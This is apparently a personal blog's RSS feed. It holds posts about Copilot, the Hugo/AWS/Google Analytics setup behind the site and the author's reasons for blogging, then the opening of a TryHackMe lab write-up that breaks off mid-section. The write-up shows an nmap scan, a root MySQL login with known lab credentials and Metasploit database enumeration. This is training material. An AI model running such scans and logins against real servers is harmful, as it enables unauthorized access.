      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
      <span>Context</span>
    </div>
      <div class="admonition-content">
        <p>Copilot was the first code specific language model I tried and I&rsquo;ve been using it ever since</p>
      </div>
  </div><p>Copilot works great as a basic autocomplete to help bubble up related functions that I can choose to add in my project. For planning out a software project I use other language models with reasoning advanced functions.</p>
]]></content:encoded></item><item><title>How this Blog Works</title><link>https://michaelmuratov.com/blog/artifacts/builds/how-this-blog-works/</link><pubDate>Tue, 22 Apr 2025 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/builds/how-this-blog-works/</guid><description>&lt;p&gt;The structure of this site is simple.&lt;/p&gt;
&lt;h3 id="hugo-static-generator"&gt;Hugo Static Generator&lt;/h3&gt;
&lt;p&gt;I use a static site generator called Hugo: &lt;a href="https://gohugo.io/getting-started/quick-start/"&gt;Hugo Quick Start&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;sudo apt install hugo
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;hugo new site michaelmuratov.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; michaelmuratov.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;hugo server
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; EN
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;-------------------+-----
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; Pages &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; Paginator pages &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; Non-page files &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; Static files &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; Processed images &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; Aliases &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; Cleaned &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;Built in &lt;span class="m"&gt;10&lt;/span&gt; ms&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The site consists of three quality of life features that would be non negotiable for this kind of project.&lt;/p&gt;</description><content:encoded><![CDATA[<p>The structure of this site is simple.</p>
<h3 id="hugo-static-generator">Hugo Static Generator</h3>
<p>I use a static site generator called Hugo: <a href="https://gohugo.io/getting-started/quick-start/">Hugo Quick Start</a></p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">sudo apt install hugo
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">hugo new site michaelmuratov.com
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="nb">cd</span> michaelmuratov.com
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">hugo server
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">                   <span class="p">|</span> EN  
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">-------------------+-----
</span></span><span class="line"><span class="ln">10</span><span class="cl">  Pages            <span class="p">|</span>  <span class="m">1</span>  
</span></span><span class="line"><span class="ln">11</span><span class="cl">  Paginator pages  <span class="p">|</span>  <span class="m">0</span>  
</span></span><span class="line"><span class="ln">12</span><span class="cl">  Non-page files   <span class="p">|</span>  <span class="m">0</span>  
</span></span><span class="line"><span class="ln">13</span><span class="cl">  Static files     <span class="p">|</span>  <span class="m">1</span>  
</span></span><span class="line"><span class="ln">14</span><span class="cl">  Processed images <span class="p">|</span>  <span class="m">0</span>  
</span></span><span class="line"><span class="ln">15</span><span class="cl">  Aliases          <span class="p">|</span>  <span class="m">0</span>  
</span></span><span class="line"><span class="ln">16</span><span class="cl">  Cleaned          <span class="p">|</span>  <span class="m">0</span>  
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">Built in <span class="m">10</span> ms</span></span></code></pre></div>
<p>The site consists of three quality of life features that would be non negotiable for this kind of project.</p>
<ol>
<li>GIT Version Control</li>
<li>Obsidian Rich Text Editor</li>
<li>AWS CI/CD Pipeline</li>
</ol>
<h3 id="version-control">Version Control</h3>
<p>Version control is pretty important for a site like this. For one it keeps a consistent backup of my files on an external server, while giving me the freedom to modify my files offline. There are other benefits that git provides as a version control system such as reliable metrics for commit times and native CI/CD functionality for building the static site. The build at commit functionality allows me to  track only Markdown file changes, which are easy to read and edit.</p>
<p><img src="git.png" alt="image"></p>
<h3 id="text-editor">Text Editor</h3>
<p>Because most of the files on this site are written in Markdown, they can be viewed and edited in nice rich text editors like Obsidian. The integration between Obsidian and Hugo doesn&rsquo;t exist directly but I&rsquo;ve been able to port common elements such as code snippets and call outs.</p>

<div><img src="obsidian_editor.png" 
		 class="img-preset img-preset-md png">
</div>

<h3 id="aws-integration">AWS Integration</h3>
<p><img src="ci_cd.png" alt="CI/CD"></p>
<p>Learning a cloud platform like AWS has been on my priority list this year. In addition the existence of dedicated services like <strong>AWS Amplity</strong> makes it fairly cost efficient to host the website myself and monitor spending on all my cloud services through a unified interface. AWS does fall short in terms of identifying usage metrics but I&rsquo;ve augmented the website with Google Analytics tags that fills in for that gap.</p>
<p>My domain name is registered on Squarespace but I don&rsquo;t want to use them for hosting because I find their fees too expensive for my no name blog.</p>
<p>Instead I set up a Hosted Zone for my domain on Amazon&rsquo;s Route 53. Amazon will use its name servers to map my domain to their external IPs:</p>
<p><img src="aws_nameservers.png" alt="AWS Name Servers"></p>
<p>All I have to do is enter the name servers I was assigned to my Squarespace Domain Nameservers list.</p>
<p><img src="squarespace.png" alt="Square Space Name Servers"></p>
<p>This setup allows me to own my domains on Squarespace and manage them from AWS.</p>
<p>The hosting itself is defined by a direct relationship between AWS Amplify and your version control system in this case Github.</p>
<p><img src="github.png" alt="image"></p>
<p>Every time I make a commit on Github the CI/CD pipeline syncs the changes to the AWS instance and runs a prebuild command to generate the static files.</p>
<p><img src="prebuild.png" alt="image"></p>
<p>The version control, rich text editor and cloud deployment make this blog setup seamless, cost efficient and salable with minimal setup.</p>
<h3 id="theme-and-visual-system">Theme and Visual System</h3>
<p>This site started on <a href="https://github.com/maolonglong/hugo-simple/">Hugo Simple</a> and has now diverged into my own custom theme (<code>themes/muratov</code>) with project-specific layouts and styling.</p>
<p>The front page is organized into:</p>
<ul>
<li>A <strong>Latest Feature</strong> card</li>
<li>A curated <strong>Pinned</strong> section</li>
<li><strong>Explore by Track</strong> (Builds, Guides, Notes)</li>
<li><strong>Recent Activity</strong> and <strong>Recently Updated</strong></li>
<li>A dedicated <strong>Archive</strong> entry point</li>
</ul>
<p>Two status-oriented UI components near the top:</p>
<ul>
<li><strong>In Progress</strong>: the current focus and target date</li>
<li><strong>Momentum</strong>: weekly publishing/edit counts and an 8-week sparkline trend</li>
</ul>
<p>Giscus comments were added to make it easier for readers to engage with the content.</p>
<h3 id="metadata">Metadata</h3>
<p>Each post has associated metadata to inform Hugo on how to display the page and what category to group it under.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-markdown" data-lang="markdown"><span class="line"><span class="ln"> 1</span><span class="cl">---
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">title: How this Blog Works
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">date: 2025-04-22
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">lastmod: 2025-04-20
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">tags:
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="k">-</span> Web
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">draft: false
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">image: blog_structure.png
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">layout: blog-post
</span></span><span class="line"><span class="ln">10</span><span class="cl">---</span></span></code></pre></div>
<p>This format is very flexible and it lets me specify the file structure that the site will use to generate the page, directly in the Markdown file.</p>
<p>All layout files are customizable with the Hugo styling language to order page elements in unique configurations such as individual post layouts, lists of links to other posts, etc.</p>
<h3 id="analytics">Analytics</h3>
<p>To track usage on this website I made use of Google Analytics, which the most powerful set of tools for web monitoring and is completely free. Every page I want to track needs to contain the following <strong>Google Tag</strong>:</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c">&lt;!--</span> <span class="nx">Google</span> <span class="nx">tag</span> <span class="p">(</span><span class="nx">gtag</span><span class="p">.</span><span class="nx">js</span><span class="p">)</span> <span class="o">--&gt;</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="o">&lt;</span><span class="nx">script</span> <span class="kr">async</span> <span class="nx">src</span><span class="o">=</span><span class="s2">&#34;https://www.googletagmanager.com/gtag/js?id=G-Y9QJ4EB3PT&#34;</span><span class="o">&gt;&lt;</span><span class="err">/script&gt;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="o">&lt;</span><span class="nx">script</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="nb">window</span><span class="p">.</span><span class="nx">dataLayer</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">dataLayer</span> <span class="o">||</span> <span class="p">[];</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="kd">function</span> <span class="nx">gtag</span><span class="p">(){</span><span class="nx">dataLayer</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">arguments</span><span class="p">);}</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="nx">gtag</span><span class="p">(</span><span class="s1">&#39;js&#39;</span><span class="p">,</span> <span class="k">new</span> <span class="nb">Date</span><span class="p">());</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">  
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="nx">gtag</span><span class="p">(</span><span class="s1">&#39;config&#39;</span><span class="p">,</span> <span class="s1">&#39;G-Y9QJ4EB3PT&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="o">&lt;</span><span class="err">/script&gt;</span></span></span></code></pre></div>
<p>This tag is included in the <code>baseof.html</code> template of every single page that Hugo generates:</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">{{ partial &#34;google-analytics.html&#34; . }}</span></span></code></pre></div>
<p>Ensuring that every individual blog post and site page will feature a tag that links usage data to Google&rsquo;s server and my dashboard.</p>
<p><img src="google_analytics.png" alt="image"></p>
]]></content:encoded></item><item><title>Why This Website Exists</title><link>https://michaelmuratov.com/purpose/</link><pubDate>Sun, 20 Apr 2025 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/purpose/</guid><description>&lt;h3 id="purpose"&gt;Purpose&lt;/h3&gt;
&lt;p&gt;These days there&amp;rsquo;s countless outlets for self-expression, whether through Facebook posts, Instagram stories, X threads, Substack articles, or YouTube videos. The list of social media platforms is so long that it would get tiresome to name them all.&lt;/p&gt;
&lt;p&gt;But despite the diversity of options, there seems to be a common meta emerging across every single platform; catering to the most generic demographic of average daily visitors. It can be disheartening to create niche content for a select audience while surface-level channels gorge on millions of viewers. This would be alright on its own if not for the platforms themselves encouraging this type of behavior.&lt;/p&gt;</description><content:encoded><![CDATA[<h3 id="purpose">Purpose</h3>
<p>These days there&rsquo;s countless outlets for self-expression, whether through Facebook posts, Instagram stories, X threads, Substack articles, or YouTube videos. The list of social media platforms is so long that it would get tiresome to name them all.</p>
<p>But despite the diversity of options, there seems to be a common meta emerging across every single platform; catering to the most generic demographic of average daily visitors. It can be disheartening to create niche content for a select audience while surface-level channels gorge on millions of viewers. This would be alright on its own if not for the platforms themselves encouraging this type of behavior.</p>
<p>There&rsquo;s almost no room for a custom experience on social media platforms anymore. Ever since algorithmic recommendations took off, the platforms presenting our content stripped and sanitized themselves to make it easier for the algorithms to do their job. I&rsquo;m sure this was done partially for safety reasons, and to ensure a mostly uniform viewer experience, the same way you might find comfort in visiting a chain restaurant where everything feels familiar. But it does clamp down on the type of content that can be shared.</p>
<p>In any case, the lack of control over the platform I&rsquo;m using has always made me reluctant to contribute the necessary time and dedication to grow out my digital library. Making and hosting my own website has always been my preferred option. I&rsquo;ve owned my name domain since 2018 with plans to develop it in conjunction with getting my CS degree. I&rsquo;ve wrestled with how to approach it for years&hellip;indecision has left me with nothing to show for it.</p>
<p>If I could go back and change <strong>one</strong> thing, I would go back and shake enough sense into myself to start writing things down. But if I couldn&rsquo;t start then, I might as well start now.</p>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition warning">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32c14.2 0 27.3 7.5 34.5 19.8l216 368c7.3 12.4 7.3 27.7 .2 40.1S486.3 480 472 480L40 480c-14.3 0-27.6-7.7-34.7-20.1s-7-27.8 .2-40.1l216-368C228.7 39.5 241.8 32 256 32zm0 128c-13.3 0-24 10.7-24 24l0 112c0 13.3 10.7 24 24 24s24-10.7 24-24l0-112c0-13.3-10.7-24-24-24zm32 224a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"/></svg>
      <span>Warning</span>
    </div>
      <div class="admonition-content">
        <p>The only promise I&rsquo;m going to make is this:<br>
<strong>This website is not for you, it&rsquo;s for me</strong></p>
      </div>
  </div><p>These articles could be created, reworded, moved around, or deleted at any moment. This isn&rsquo;t a website anymore it&rsquo;s my personal <em><strong>dumping ground</strong></em>. The more life it has, the better.</p>
<p>Of course there&rsquo;s a reason why almost nobody does this. It would take up a lot of time and it would make no money. Probably lose money in the long run. Counter to what they might say, people like having a recommendation algorithm that serves them the best content of the day.</p>
<p>Good thing I&rsquo;m not making this site for people.</p>
]]></content:encoded></item><item><title>TryHackMe - SQL</title><link>https://michaelmuratov.com/blog/artifacts/guides/thm-sql-room/</link><pubDate>Sun, 20 Oct 2024 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/thm-sql-room/</guid><description>&lt;p&gt;This is a &lt;code&gt;TryHackMe Room Writeup&lt;/code&gt;&lt;/p&gt;
&lt;link href="https://michaelmuratov.com/css/admonitions.min.css" rel="stylesheet" /&gt;
&lt;div class="admonition note"&gt;
&lt;div class="admonition-header"&gt;
&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"&gt;&lt;path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/&gt;&lt;/svg&gt;
&lt;span&gt;Reference&lt;/span&gt;
&lt;/div&gt;
&lt;div class="admonition-content"&gt;
&lt;p&gt;&lt;a href="https://tryhackme.com/r/room/networkservices2"&gt;💻 TryHackMe Network Services Room&lt;/a&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<p>This is a <code>TryHackMe Room Writeup</code></p>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition note">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
      <span>Reference</span>
    </div>
      <div class="admonition-content">
        <p><a href="https://tryhackme.com/r/room/networkservices2">💻 TryHackMe Network Services Room</a></p>
      </div>
  </div><h3 id="initial-reconnaissance">Initial Reconnaissance</h3>
<p>The first step in exploiting a MySQL database is identifying whether the target machine has an exposed MySQL port. By default, MySQL runs on port 3306, but this can be customized by the system administrator, so it&rsquo;s important to scan for common open ports. Typically you can attempt to connect to the MySQL server using common credentials or perform a brute force attack if no rate-limiting is in place.</p>
<p>Example Nmap Scan: <em>(NFS Scan highlighted)</em></p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">root@ip-10-10-22-136:~# <span class="nv">IP</span><span class="o">=</span>10.10.190.97
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">root@ip-10-10-22-136:~# nmap -sS -T4 -F -oN output.txt <span class="nv">$IP</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">Starting Nmap 7.60 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2024-10-06 02:34 BST
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">Nmap scan report <span class="k">for</span> ip-10-10-244-95.eu-west-1.compute.internal <span class="o">(</span>10.10.244.95<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">Host is up <span class="o">(</span>0.0012s latency<span class="o">)</span>.
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">Not shown: <span class="m">998</span> closed ports
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">PORT     STATE SERVICE
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">22/tcp   open  ssh
</span></span><span class="line"><span class="ln">10</span><span class="cl">3306/tcp open  mysql
</span></span><span class="line"><span class="ln">11</span><span class="cl">MAC Address: 02:59:70:A7:8E:95 <span class="o">(</span>Unknown<span class="o">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">Nmap <span class="k">done</span>: <span class="m">1</span> IP address <span class="o">(</span><span class="m">1</span> host up<span class="o">)</span> scanned in 1.67 seconds</span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition code">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg>
      <span>Code</span>
    </div>
      <div class="admonition-content">
        <p>The call above uses the flag <strong>-sS</strong> to perform a stealthy SYN scan, which is faster and less detectable than a full connection scan. The <strong>-T4</strong> flag sets the timing template to be faster than the default, balancing speed and accuracy. The <strong>-F</strong> flag specifies a fast scan that targets the top 100 most common ports. The <strong>-oN output.txt</strong> flag saves the scan results in a normal format to a file named <strong>output.txt</strong>. Finally, <strong>$IP</strong> specifies the target IP address for the scan.</p>
      </div>
  </div><h4 id="using-stolen-credentials">Using stolen credentials</h4>
<p>For this box we already know the credentials of the MySQL server <code>username: root</code> and <code>password:password</code> obtained previously and we&rsquo;ll be using this to gain further access on the server. Once connected and authenticated using the credentials we can enumerate the database to gather more information about the system.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-22-136:~# <span class="nv">username</span><span class="o">=</span>root
</span></span><span class="line"><span class="ln">2</span><span class="cl">root@ip-10-10-22-136:~#  mysql -h <span class="nv">$IP</span> -u <span class="nv">$username</span> -p
</span></span><span class="line"><span class="ln">3</span><span class="cl">Enter password: password</span></span></code></pre></div>
<h3 id="enumeration">Enumeration</h3>
<p>We&rsquo;ll be using modules from Metasploit to extract information from the database. First thing we&rsquo;ll do is submit an authenticated request to show the databases present on the MySQL server. We can do this by setting the <code>RHOSTS, USERNAME, PASSWORD</code> to the ip and credentials of the server and by initiating the SQL <code>show databases</code> query command.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msfconsole
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 &gt; use auxiliary/admin/mysql/mysql_sql
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.244.95
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; <span class="nb">set</span> USERNAME root
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; <span class="nb">set</span> PASSWORD password
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; <span class="nb">set</span> SQL show databases
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; options
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">Module options <span class="o">(</span>auxiliary/admin/mysql/mysql_sql<span class="o">)</span>:
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">   Name  Current Setting  Required  Description
</span></span><span class="line"><span class="ln">12</span><span class="cl">   ----  ---------------  --------  -----------
</span></span><span class="line"><span class="ln">13</span><span class="cl">   SQL   show databases   yes       The SQL to execute.
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">   Used when connecting via an existing SESSION:
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">   Name     Current Setting  Required  Description
</span></span><span class="line"><span class="ln">19</span><span class="cl">   ----     ---------------  --------  -----------
</span></span><span class="line"><span class="ln">20</span><span class="cl">   SESSION                   no        The session to run this module on
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl">   Used when making a new connection via RHOSTS:
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl">   Name      Current Setting  Required  Description
</span></span><span class="line"><span class="ln">26</span><span class="cl">   ----      ---------------  --------  -----------
</span></span><span class="line"><span class="ln">27</span><span class="cl">   PASSWORD  password         no        The password <span class="k">for</span> the specified username
</span></span><span class="line"><span class="ln">28</span><span class="cl">   RHOSTS    10.10.244.95     no        The target host<span class="o">(</span>s<span class="o">)</span>, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
</span></span><span class="line"><span class="ln">29</span><span class="cl">   RPORT     <span class="m">3306</span>             no        The target port <span class="o">(</span>TCP<span class="o">)</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">   USERNAME  root             no        The username to authenticate as
</span></span><span class="line"><span class="ln">31</span><span class="cl">
</span></span><span class="line"><span class="ln">32</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln">33</span><span class="cl">
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Running module against 10.10.244.95
</span></span><span class="line"><span class="ln">35</span><span class="cl">
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 - Sending statement: <span class="s1">&#39;show databases&#39;</span>...
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 -  <span class="p">|</span> information_schema <span class="p">|</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 -  <span class="p">|</span> mysql <span class="p">|</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 -  <span class="p">|</span> performance_schema <span class="p">|</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 -  <span class="p">|</span> sys <span class="p">|</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h4 id="reading-mysql-database">Reading MySQL Database</h4>
